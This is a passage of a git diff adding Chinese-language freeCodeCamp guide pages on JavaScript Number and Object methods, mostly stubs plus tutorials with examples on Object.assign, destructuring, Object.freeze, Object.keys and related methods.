+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tofixed/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tofixed/index.md
new file mode 100644
index 0000000000..492efa7e30
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tofixed/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toFixed
+localeTitle: Number.prototype.toFixed
+---
+## Number.prototype.toFixed
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tofixed/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..ea2617daf7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toLocaleString
+localeTitle: Number.prototype.toLocaleString
+---
+## Number.prototype.toLocaleString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tolocalestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toprecision/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toprecision/index.md
new file mode 100644
index 0000000000..00c7e58032
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-toprecision/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toPrecision
+localeTitle: Number.prototype.toPrecision
+---
+## Number.prototype.toPrecision
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toprecision/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tosource/index.md
new file mode 100644
index 0000000000..bf72df0c77
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toSource
+localeTitle: Number.prototype.toSource
+---
+## Number.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tostring/index.md
new file mode 100644
index 0000000000..361b513f2b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toString
+localeTitle: Number.prototype.toString
+---
+## Number.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-valueof/index.md b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-valueof/index.md
new file mode 100644
index 0000000000..b51bc5a851
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/number/number-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.valueOf
+localeTitle: Number.prototype.valueOf
+---
+## Number.prototype.valueOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-valueof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/index.md b/client/src/guide/chinese/javascript/standard-objects/object/index.md
new file mode 100644
index 0000000000..a64d7e9e9b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/index.md
@@ -0,0 +1,11 @@
+---
+title: Object
+localeTitle: 宾语
+---
+## 目的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-assign/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-assign/index.md
new file mode 100644
index 0000000000..41255dcf73
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-assign/index.md
@@ -0,0 +1,65 @@
+---
+title: Object Assign
+localeTitle: 对象分配
+---
+## 对象分配
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-assign/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+`Object.assign()`方法用于1）向现有对象添加属性和值，2）创建现有对象的新副本，或3）将多个现有对象组合到单个对象中。 `Object.assign()`方法需要一个targetObject作为参数，并且可以接受无限数量的sourceObject作为附加参数。
+
+这里需要注意的是始终会修改targetObject参数。如果该参数指向现有对象，则将同时修改和复制该对象。但是，如果希望在不修改原始对象的情况下创建对象的副本，则可以将空对象`{}`作为第一个（或targetObject）参数传递，将要复制的对象作为第二个（或sourceObject）参数传递。
+
+如果作为参数传递给`Object.assign()`共享相同的属性（或键），则稍后在参数列表中出现的属性值将覆盖之前出现的属性值。
+
+**句法**
+
+```javascript
+Object.assign(targetObject, ...sourceObject) 
+```
+
+**回报价值**
+
+`Object.assign()`返回targetObject。
+
+**例子**
+
+_修改和复制targetObject_
+
+```javascript
+let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign(obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, coder: true } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+```
+
+_无需修改即可复制targetObject_
+
+```javascript
+let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30 } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+```
+
+_具有相同属性的对象_
+
+```javascript
+let obj = {name: 'Dave', age: 30, favoriteColor: 'blue'}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true, favoriteColor: 'red'}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, favoriteColor: 'blue' } 
+ console.log(objCopy); // { name: 'Dave', age: 30, favoriteColor: 'red', coder: true } 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)  
+[ES6中的Object.assign简介（视频）](https://youtu.be/vM7Tif98Dlo)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-create/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-create/index.md
new file mode 100644
index 0000000000..38b3ff0d0b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-create/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Create
+localeTitle: 对象创建
+---
+## 对象创建
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-create/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperties/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperties/index.md
new file mode 100644
index 0000000000..3b30cabb8e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperties/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperties
+localeTitle: 对象defineProperties
+---
+## 对象defineProperties
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperties/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperty/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperty/index.md
new file mode 100644
index 0000000000..dd07ef3f5c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperty
+localeTitle: 对象defineProperty
+---
+## 对象defineProperty
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperty/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-destructuring/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-destructuring/index.md
new file mode 100644
index 0000000000..90d6fa2cc2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-destructuring/index.md
@@ -0,0 +1,191 @@
+---
+title: Object Destructuring
+localeTitle: 对象解构
+---
+# 对象解构
+
+解构是从存储在对象中的数据中提取多个值的便捷方式。它可以在接收数据的位置使用（例如，分配的左侧）。 `ECMAScript 6`引入了此功能。
+
+如何提取值通过模式指定（请参阅示例）。
+
+### 基本任务
+```
+var userInfo = {name: 'neel', age: 22}; 
+ var {name, age} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 22 
+```
+
+### 没有声明的作业
+
+变量可以通过与其声明分开的解构来赋值。
+```
+var name, age; 
+ 
+ ({name, age} = {name: 'neel', age: 22}); 
+```
+
+> 在没有声明的情况下使用对象文字解构赋值时，赋值语句周围的`( .. )`是必需的语法。
+> 
+> `{name, age} = {name: 'neel', age: 22}`不是有效的独立语法，因为左侧的`{name, age}`被视为块而不是对象文字。
+> 
+> 但是， `({name, age} = {name: 'neel', age: 22})`是有效的，因为`var {name, age} = {name: 'neel', age: 22}`
+
+### 分配给新变量名称
+
+可以从对象解压缩属性，并将其分配给名称与对象属性不同的变量。
+```
+var userInfo = {a: 'neel', b: 22}; 
+ var {a: name, b: bar} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(bar); // 22 
+```
+
+### 默认值
+
+如果`undefined`从对象解压缩的值，则可以为变量分配默认值。
+```
+var {name = 'ananonumys', age = 20} = {name: 'neel'}; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 20 
+```
+
+### 分配新变量名称并提供默认值
+
+房产可以是两者
+
+1.  从对象解压缩并分配给具有不同名称的变量
+2.  如果unpacked值`undefined`分配一个默认值。
+```
+var {a:name = 'ananonumys', b:age = 20} = {age: 22}; 
+ 
+ console.log(name); // ananonumys 
+ console.log(age); // 22 
+```
+
+### 设置函数参数的默认值
+
+#### ES5版本
+```
+function getUserInfo(data) { 
+  data = data === undefined ? {} : data; 
+  var name = data.name === undefined ? 'ananonumys' : data.name; 
+  var age = data.age === undefined ? 20 : data.age; 
+  var location = data.location === undefined ? 'india' : data.location; 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+```
+
+#### ES2015版本
+```
+function getUserInfo({name = 'ananonumys', age = 20, location = 'india'} = {}) { 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+```
+
+> 在上面的`getUserInfo`的函数签名中，解构的左侧被分配给右侧的空对象文字： `{name = 'ananonumys', age = 20, location = 'india'} = {}` 。您也可以在没有右侧分配的情况下编写该函数。但是，如果省略右侧赋值，函数将在调用时查找至少一个要提供的参数，而在当前形式中，您只需调用`getUserInfo()`而不提供任何参数。如果您希望能够在不提供任何参数的情况下调用函数，则当前设计非常有用，另一个在您希望确保将对象传递给函数时非常有用。
+
+### 嵌套对象和数组解构
+```
+var metadata = { 
+    title: 'Scratchpad', 
+    translations: [ 
+       { 
+        locale: 'de', 
+        localization_tags: [], 
+        last_edit: '2014-04-14T08:43:37', 
+        url: '/de/docs/Tools/Scratchpad', 
+        title: 'JavaScript-Umgebung' 
+       } 
+    ], 
+    url: '/en-US/docs/Tools/Scratchpad' 
+ }; 
+ 
+ var {title: englishTitle, translations: [{title: localeTitle}]} = metadata; 
+ 
+ console.log(englishTitle); // "Scratchpad" 
+ console.log(localeTitle);  // "JavaScript-Umgebung" 
+```
+
+### 用于迭代和解构
+```
+var people = [ 
+  { 
+    name: 'Mike Smith', 
+    family: { 
+      mother: 'Jane Smith', 
+      father: 'Harry Smith', 
+      sister: 'Samantha Smith' 
+    }, 
+    age: 35 
+  }, 
+  { 
+    name: 'Tom Jones', 
+    family: { 
+      mother: 'Norah Jones', 
+      father: 'Richard Jones', 
+      brother: 'Howard Jones' 
+    }, 
+    age: 25 
+  } 
+ ]; 
+ 
+ for (var {name: n, family: {father: f}} of people) { 
+  console.log('Name: ' + n + ', Father: ' + f); 
+ } 
+ 
+ // "Name: Mike Smith, Father: Harry Smith" 
+ // "Name: Tom Jones, Father: Richard Jones" 
+```
+
+### 从作为函数参数传递的对象中解压缩字段
+```
+function userId({id}) { 
+  return id; 
+ } 
+ 
+ function whois({displayName, fullName: {firstName: name}}) { 
+  console.log(displayName + ' is ' + name); 
+ } 
+ 
+ var user = { 
+  id: 42, 
+  displayName: 'jdoe', 
+  fullName: { 
+      firstName: 'John', 
+      lastName: 'Doe' 
+  } 
+ }; 
+ 
+ console.log('userId: ' + userId(user)); // "userId: 42" 
+ whois(user); // "jdoe is John" 
+```
+
+这将解压缩用户对象中的`id` ， `displayName`和`firstName`并打印它们。
+
+### 计算对象属性名称和解构
+```
+let key = 'z'; 
+ let {[key]: foo} = {z: 'bar'}; 
+ 
+ console.log(foo); // "bar" 
+```
+
+另请参见： **对象解构** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-entries/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-entries/index.md
new file mode 100644
index 0000000000..61262e2c8d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Entries
+localeTitle: 对象条目
+---
+## 对象条目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-entries/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-freeze/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-freeze/index.md
new file mode 100644
index 0000000000..c2fe77d62c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-freeze/index.md
@@ -0,0 +1,68 @@
+---
+title: Object Freeze
+localeTitle: 对象冻结
+---
+## 对象冻结
+
+`Object.freeze()`方法冻结了一个对象。冻结的对象会_阻止您_ ：
+
+*   添加新属性
+*   从中删除现有的特性
+*   更改其现有属性的可枚举性，可配置性或可写性
+
+### 句法
+
+```javascript
+Object.freeze(obj) 
+```
+
+### 参数
+
+`obj`
+
+*   要冻结的对象。
+
+### 返回
+
+冻结的物体。
+
+### 重要的提示
+
+尝试添加，删除或修改冻结对象的属性将导致失败。此失败将是静默或抛出`TypeError` （如果启用了严格模式）。另外， `Object.freeze()`是一个浅操作。这意味着冻结对象的嵌套对象是可修改的。
+
+### 例
+
+```javascript
+// Create your object 
+ let person = { 
+  name: 'Johnny', 
+  age: 23, 
+  guild: 'Army of Darkness', 
+  hobbies: ['music', 'gaming', 'rock climbing'] 
+ } 
+ 
+ // Modify your object 
+ person.name = 'John' 
+ person.age = 24 
+ person.hobbies.splice(1,1) 
+ delete person.guild 
+ 
+ // Verify your object has been modified 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // Freeze your object 
+ Object.freeze(person) 
+ 
+ // Verify that your object can no longer be modified 
+ person.name = 'Johnny' // fails silently 
+ person.age = 23 // fails silently 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // The freeze is "shallow" and nested objects (including arrays) can still be modified 
+ person.hobbies.push('basketball') 
+ consol.log(person.hobbies) // ['music', 'rock climbing', 'basketball'] 
+```
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..21cd4e6266
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptor
+localeTitle: 对象getOwnPropertyDescriptor
+---
+## 对象getOwnPropertyDescriptor
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
new file mode 100644
index 0000000000..7a77ae52c9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptors
+localeTitle: Object getOwnPropertyDescriptors
+---
+## Object getOwnPropertyDescriptors
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertynames/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertynames/index.md
new file mode 100644
index 0000000000..36387d12cf
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertynames/index.md
@@ -0,0 +1,75 @@
+---
+title: Object getOwnPropertyNames
+localeTitle: Object getOwnPropertyNames
+---
+`Object.getOwnPropertyNames()`方法返回直接在给定对象上找到的所有属性（可枚举或不可枚举`Object.getOwnPropertyNames()`的数组。
+
+## 句法
+```
+Object.getOwnPropertyNames(obj) 
+```
+
+### 参数
+
+**OBJ**
+
+将返回其可枚举_和不可枚举的_自身属性的对象。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/ff688126%28v=vs.94%29.aspx)
+
+## 描述
+
+`Object.getOwnPropertyNames()`返回一个数组，其元素是与直接在对象上找到的可枚举_和不可枚举_属性相对应的字符串。数组中可枚举属性的排序与`for...in`循环（或`Object.keys()` ）在对象属性上公开的顺序一致。未定义数组中以及可枚举属性中的非可枚举属性的顺序。
+
+## 例子
+```
+var arr = ['a', 'b', 'c']; 
+ console.log(Object.getOwnPropertyNames(arr).sort()); // logs '0,1,2,length' 
+ 
+ // Array-like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.getOwnPropertyNames(obj).sort()); // logs '0,1,2' 
+ 
+ // Logging property names and values using Array.forEach 
+ Object.getOwnPropertyNames(obj).forEach(function(val, idx, array) { 
+  console.log(val + ' -> ' + obj[val]); 
+ }); 
+ // logs 
+ // 0 -> a 
+ // 1 -> b 
+ // 2 -> c 
+ 
+ // non-enumerable property 
+ var my_obj = Object.create({}, { 
+  getFoo: { 
+    value: function() { return this.foo; }, 
+    enumerable: false 
+  } 
+ }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.getOwnPropertyNames(my_obj).sort()); // logs 'foo,getFoo' 
+ 
+ function Pasta(grain, size, shape) { 
+    this.grain = grain; 
+    this.size = size; 
+    this.shape = shape; 
+ } 
+ 
+ var spaghetti = new Pasta("wheat", 2, "circle"); 
+ 
+ var names = Object.getOwnPropertyNames(spaghetti).filter(CheckKey); 
+ document.write(names); 
+ 
+ // Check whether the first character of a string is 's'. 
+ function CheckKey(value) { 
+    var firstChar = value.substr(0, 1); 
+    if (firstChar.toLowerCase() == 's') 
+        return true; 
+    else 
+         return false; 
+ } 
+ // Output: 
+ // size,shape 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertysymbols/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertysymbols/index.md
new file mode 100644
index 0000000000..85583f0948
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-getownpropertysymbols/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertySymbols
+localeTitle: 对象getOwnPropertySymbols
+---
+## 对象getOwnPropertySymbols
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertysymbols/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-getprototypeof/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-getprototypeof/index.md
new file mode 100644
index 0000000000..0cdd6f89f2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-getprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.get.prototype.of
+localeTitle: Object.prototype.get.prototype.of
+---
+## Object.prototype.get.prototype.of
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getprototypeof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-is/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-is/index.md
new file mode 100644
index 0000000000..49081c0096
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-is/index.md
@@ -0,0 +1,57 @@
+---
+title: Object Is
+localeTitle: 对象是
+---
+# 对象是
+
+## 描述
+
+`object.is()`方法用于确定两个值是否相同。这种方法是在ES6中引入的。
+
+## 句法
+
+`Object.is(val1, val2)`
+
+### 参数
+
+**val1** - 要比较的第一个值
+
+**val2** - 要比较的第二个值
+
+## 返回值
+
+一个[布尔值，](https://guide.freecodecamp.org/javascript/booleans)指示两个参数是否具有相同的值
+
+## 描述
+
+`Object.is()`比较两个相同的值，如果两个值满足以下条件之一，则返回`true` ：
+
+*   `undefined`
+*   `null`
+*   无论是`true`还是`false`
+*   具有相同长度和相同字符的字符串
+*   相同的对象
+*   这两个数字和：
+*   `+0`或两者都是`-0`
+*   两个`NaN`
+*   或两者都不是零而不是`NaN`
+
+## 例子
+
+\`\`\`
+
+Object.is（'string'，'string'）; //真的 Object.is（undefined，undefined）; //真的 Object.is（null，null）; //真的
+
+Object.is（'string，'word'）; //假 Object.is（true，false）; //假 Object.is（\[\]，\[\]）; //假
+
+var obj = {name：Jane}; Object.is（obj，obj）; //真的
+
+Object.is（NaN，NaN）; //真的
+
+Object.is（+ 0，-0）; //假 Object.is（-0，-0）; //真的
+
+\`\`\`
+
+#### 更多信息：
+
+[Object.is（）MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) [严格的相等运算符`===`](https://guide.freecodecamp.org/certificates/comparison-with-the-strict-equality-operator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-isextensible/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-isextensible/index.md
new file mode 100644
index 0000000000..c1dd42da67
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Object isExtensible
+localeTitle: 对象是可扩展的
+---
+## 对象是可扩展的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-isextensible/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-isfrozen/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-isfrozen/index.md
new file mode 100644
index 0000000000..0a41183642
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-isfrozen/index.md
@@ -0,0 +1,39 @@
+---
+title: Object isFrozen
+localeTitle: 对象是冷冻
+---
+## 对象是冷冻
+
+您可以使用**`Object.isFrozen()`**来确定对象是否已冻结。它返回**`true`**或**`false`**布尔值。
+
+#### **句法**
+
+```javascript
+Object.isFrozen(obj) 
+```
+
+**例如：**
+
+```javascript
+var foods = { 
+    grain : "wheat", 
+    dairy  : "milk", 
+    vegetable : "carrot", 
+    fruit  : "grape" 
+ }; 
+ 
+ var frozenFoods = Object.freeze(foods); 
+ 
+ var areMyFoodsFrozen = Object.isFrozen(frozenFoods); 
+ 
+ \\ returns true 
+```
+
+请记住，冻结的对象**不能**更改其属性。  
+  
+如果您尝试在非对象参数上使用**`Object.isFrozen()`** ，它将返回`true` 。
+
+#### 更多信息：
+
+[MDN Object.isFrozen（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen)  
+[MDN Object.freeze（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-issealed/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-issealed/index.md
new file mode 100644
index 0000000000..bb0d56d57a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-issealed/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Issealed
+localeTitle: 对象已密封
+---
+## 对象已密封
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-issealed/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/object/object-keys/index.md b/client/src/guide/chinese/javascript/standard-objects/object/object-keys/index.md
new file mode 100644
index 0000000000..4815681a19
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/object/object-keys/index.md
@@ -0,0 +1,65 @@
+---
+title: Object Keys
+localeTitle: 对象键
+---
+`Object.keys()`方法返回给定对象自己的可枚举属性的数组，其顺序与`for...in`循环提供的顺序相同（不同之处在于`for-in`循环枚举原型链中的属性为好）。
+
+## 句法
+```
+Object.keys(obj) 
+```
+
+### 参数
+
+**OBJ**
+
+要返回其可枚举自身属性的对象。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/ff688127%28v=vs.94%29.aspx)
+
+## 描述
+
+`Object.keys()`返回一个数组，其元素是与直接在对象上找到的可枚举属性相对应的字符串。属性的顺序与通过手动循环对象的属性给出的顺序相同。
+
+## 例子
+```
+var arr = ['a', 'b', 'c']; 
+ console.log(Object.keys(arr)); // console: ['0', '1', '2'] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.keys(obj)); // console: ['0', '1', '2'] 
+ 
+ // array like object with random key ordering 
